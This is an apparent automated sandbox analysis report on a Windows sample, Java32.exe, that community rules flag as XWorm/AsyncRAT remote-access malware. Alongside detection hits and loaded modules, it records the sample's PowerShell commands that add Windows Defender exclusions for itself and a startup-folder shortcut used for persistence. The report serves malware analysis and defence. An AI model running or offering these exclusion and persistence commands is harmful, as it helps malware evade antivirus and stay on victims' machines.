Windows Analysis Report
Java32.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: Java32.exe, type: SAMPLE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: Java32.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.Java32.exe.b60000.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.0.Java32.exe.b60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.Java32.exe.12ee1a78.1.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.2.Java32.exe.12ee1a78.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.2003941272.0000000000B62000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.3304438638.0000000012EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\ProgramData\Java Update(32bit).exe, type: DROPPED	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: C:\ProgramData\Java Update(32bit).exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\Java32.exe	Code function: 0_2_00007FF848F16AC2	0_2_00007FF848F16AC2
Source: C:\Users\user\Desktop\Java32.exe	Code function: 0_2_00007FF848F15D16	0_2_00007FF848F15D16
Source: C:\Users\user\Desktop\Java32.exe	Code function: 0_2_00007FF848F1108D	0_2_00007FF848F1108D
Source: C:\Users\user\Desktop\Java32.exe	Code function: 0_2_00007FF848F11BD1	0_2_00007FF848F11BD1
Source: C:\Users\user\Desktop\Java32.exe	Code function: 0_2_00007FF848F144ED	0_2_00007FF848F144ED
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848FE3330	2_2_00007FF848FE3330
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF848FE30E9	10_2_00007FF848FE30E9

Source: Java32.exe, 00000000.00000002.3304438638.0000000012EE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs Java32.exe
Source: Java32.exe, 00000000.00000000.2003964471.0000000000B76000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs Java32.exe
Source: Java32.exe	Binary or memory string: OriginalFilenameXClient.exe4 vs Java32.exe

Source: Java32.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Java32.exe, type: SAMPLE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: Java32.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.Java32.exe.b60000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.0.Java32.exe.b60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.Java32.exe.12ee1a78.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.2.Java32.exe.12ee1a78.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.2003941272.0000000000B62000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.3304438638.0000000012EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\ProgramData\Java Update(32bit).exe, type: DROPPED	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: C:\ProgramData\Java Update(32bit).exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: Java32.exe, zcR60cfRB95.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Java32.exe, ZjgOIt8bTP1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Java32.exe, ZjgOIt8bTP1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Java Update(32bit).exe.0.dr, zcR60cfRB95.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Java Update(32bit).exe.0.dr, ZjgOIt8bTP1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Java Update(32bit).exe.0.dr, ZjgOIt8bTP1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, zcR60cfRB95.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, ZjgOIt8bTP1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, ZjgOIt8bTP1.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: Java32.exe, LBTp3YK8zXR.cs	Base64 encoded string: 'nsQkjmS8RhyKQwUQcoTZX2rfkO6TrxP1V9Rrxoim5azAyflDQNMzVLz4fE16J0xgtuimVEmAs0S5uYjC4wGriV2RHJfyanBR'
Source: Java32.exe, ZjgOIt8bTP1.cs	Base64 encoded string: 'iyfmYeyWTvNJ4YV9XzAQ4wRQqo0hUfP5kCSZYGK6E2f5oi1aY3z6KuCoykGY75AKcQsb2Dzgxi9y0fv6D2b1rcjM75DbCEbu', 'LaPm1y9PuIM5nSZg5ciyFGG1pVGVrxr8AxjjL0GrniiZJ1SxWPqRQdrMGcNPZ1KdWtPcKkP5FqhkGfKbwCw9NbnhWKMitfIW', 'Oc4WGFBP94cDQtThMKhI9AwyNpW9J94M2Ze6qEjxpVdcXVzd2Jr6HFlm5IgzAT503kFjbZf79d3NPmR3Z3Qb5k0jv1DBKDfG', 'Y4kI6JdgKS2LqHSpomv2vV9HJOW0U8Hf5od5DE2YkZJU8hPq6H1wXewajCsNye7HFgLcpjfhPNjFYkIO71D2FhYbkwH4kl69', 'Zcwy0NIetcKDIIMo2Ps599f7kuwjXVpPuJtXGx2JnXRG26r7ccp7Z7RNtfo22lEhDRdIKNoMSjbgwkwBdJUz2EGkK0jKX3E4', 'rMdSNnOZ7S974OH1AcNNC2x3cHIqqFHeOSEi77Za1oEocu5YqT6WZT77XIyVBiOeGLOGT5sNwP49wOHnxzuFrEJCxSheXezD', 'vRHgd879m9UGVacHBiu1NRSr7SjJPBPRrezdcfzI39RygQTCM3dIf1zvw2krgH6QgC1D0gzUFC3P20vlBRFs3fFRvZfc6vJr', 'KAA2mmCHsN6DMzgJnUMDOgQTZ0UZnGmOistDureECzm5gbbyvZMhxuKaQIKPWIaQE2UsTznu0O0bnY4bPqsv5G4Sz3UZ2Ty8'
Source: Java Update(32bit).exe.0.dr, LBTp3YK8zXR.cs	Base64 encoded string: 'nsQkjmS8RhyKQwUQcoTZX2rfkO6TrxP1V9Rrxoim5azAyflDQNMzVLz4fE16J0xgtuimVEmAs0S5uYjC4wGriV2RHJfyanBR'
Source: Java Update(32bit).exe.0.dr, ZjgOIt8bTP1.cs	Base64 encoded string: 'iyfmYeyWTvNJ4YV9XzAQ4wRQqo0hUfP5kCSZYGK6E2f5oi1aY3z6KuCoykGY75AKcQsb2Dzgxi9y0fv6D2b1rcjM75DbCEbu', 'LaPm1y9PuIM5nSZg5ciyFGG1pVGVrxr8AxjjL0GrniiZJ1SxWPqRQdrMGcNPZ1KdWtPcKkP5FqhkGfKbwCw9NbnhWKMitfIW', 'Oc4WGFBP94cDQtThMKhI9AwyNpW9J94M2Ze6qEjxpVdcXVzd2Jr6HFlm5IgzAT503kFjbZf79d3NPmR3Z3Qb5k0jv1DBKDfG', 'Y4kI6JdgKS2LqHSpomv2vV9HJOW0U8Hf5od5DE2YkZJU8hPq6H1wXewajCsNye7HFgLcpjfhPNjFYkIO71D2FhYbkwH4kl69', 'Zcwy0NIetcKDIIMo2Ps599f7kuwjXVpPuJtXGx2JnXRG26r7ccp7Z7RNtfo22lEhDRdIKNoMSjbgwkwBdJUz2EGkK0jKX3E4', 'rMdSNnOZ7S974OH1AcNNC2x3cHIqqFHeOSEi77Za1oEocu5YqT6WZT77XIyVBiOeGLOGT5sNwP49wOHnxzuFrEJCxSheXezD', 'vRHgd879m9UGVacHBiu1NRSr7SjJPBPRrezdcfzI39RygQTCM3dIf1zvw2krgH6QgC1D0gzUFC3P20vlBRFs3fFRvZfc6vJr', 'KAA2mmCHsN6DMzgJnUMDOgQTZ0UZnGmOistDureECzm5gbbyvZMhxuKaQIKPWIaQE2UsTznu0O0bnY4bPqsv5G4Sz3UZ2Ty8'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, LBTp3YK8zXR.cs	Base64 encoded string: 'nsQkjmS8RhyKQwUQcoTZX2rfkO6TrxP1V9Rrxoim5azAyflDQNMzVLz4fE16J0xgtuimVEmAs0S5uYjC4wGriV2RHJfyanBR'
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, ZjgOIt8bTP1.cs	Base64 encoded string: 'iyfmYeyWTvNJ4YV9XzAQ4wRQqo0hUfP5kCSZYGK6E2f5oi1aY3z6KuCoykGY75AKcQsb2Dzgxi9y0fv6D2b1rcjM75DbCEbu', 'LaPm1y9PuIM5nSZg5ciyFGG1pVGVrxr8AxjjL0GrniiZJ1SxWPqRQdrMGcNPZ1KdWtPcKkP5FqhkGfKbwCw9NbnhWKMitfIW', 'Oc4WGFBP94cDQtThMKhI9AwyNpW9J94M2Ze6qEjxpVdcXVzd2Jr6HFlm5IgzAT503kFjbZf79d3NPmR3Z3Qb5k0jv1DBKDfG', 'Y4kI6JdgKS2LqHSpomv2vV9HJOW0U8Hf5od5DE2YkZJU8hPq6H1wXewajCsNye7HFgLcpjfhPNjFYkIO71D2FhYbkwH4kl69', 'Zcwy0NIetcKDIIMo2Ps599f7kuwjXVpPuJtXGx2JnXRG26r7ccp7Z7RNtfo22lEhDRdIKNoMSjbgwkwBdJUz2EGkK0jKX3E4', 'rMdSNnOZ7S974OH1AcNNC2x3cHIqqFHeOSEi77Za1oEocu5YqT6WZT77XIyVBiOeGLOGT5sNwP49wOHnxzuFrEJCxSheXezD', 'vRHgd879m9UGVacHBiu1NRSr7SjJPBPRrezdcfzI39RygQTCM3dIf1zvw2krgH6QgC1D0gzUFC3P20vlBRFs3fFRvZfc6vJr', 'KAA2mmCHsN6DMzgJnUMDOgQTZ0UZnGmOistDureECzm5gbbyvZMhxuKaQIKPWIaQE2UsTznu0O0bnY4bPqsv5G4Sz3UZ2Ty8'

Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, tZ6oft7BzSb4AfcJ9HE1ARiYZ6GxZE8r9pfmFUl7orHhqkVaHLN.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, tZ6oft7BzSb4AfcJ9HE1ARiYZ6GxZE8r9pfmFUl7orHhqkVaHLN.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Java32.exe, tZ6oft7BzSb4AfcJ9HE1ARiYZ6GxZE8r9pfmFUl7orHhqkVaHLN.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Java32.exe, tZ6oft7BzSb4AfcJ9HE1ARiYZ6GxZE8r9pfmFUl7orHhqkVaHLN.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Java Update(32bit).exe.0.dr, tZ6oft7BzSb4AfcJ9HE1ARiYZ6GxZE8r9pfmFUl7orHhqkVaHLN.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Java Update(32bit).exe.0.dr, tZ6oft7BzSb4AfcJ9HE1ARiYZ6GxZE8r9pfmFUl7orHhqkVaHLN.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@13/20@1/2

Source: C:\Users\user\Desktop\Java32.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java Update(32bit).lnk

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6480:120:WilError_03
Source: C:\Users\user\Desktop\Java32.exe	Mutant created: \Sessions\1\BaseNamedObjects\AxB15x9akOEycdV7
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6660:120:WilError_03

Source: C:\Users\user\Desktop\Java32.exe

File created: C:\Users\user\AppData\Local\Temp\Log.tmp

Source: Java32.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Java32.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Java32.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\Java32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: Java32.exe	Virustotal: Detection: 77%
Source: Java32.exe	ReversingLabs: Detection: 76%

Source: C:\Users\user\Desktop\Java32.exe

File read: C:\Users\user\Desktop\Java32.exe

Source: unknown	Process created: C:\Users\user\Desktop\Java32.exe "C:\Users\user\Desktop\Java32.exe"
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Java32.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java32.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update(32bit).exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java Update(32bit).exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Java32.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java32.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update(32bit).exe'	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java Update(32bit).exe'	Jump to behavior

Source: C:\Users\user\Desktop\Java32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
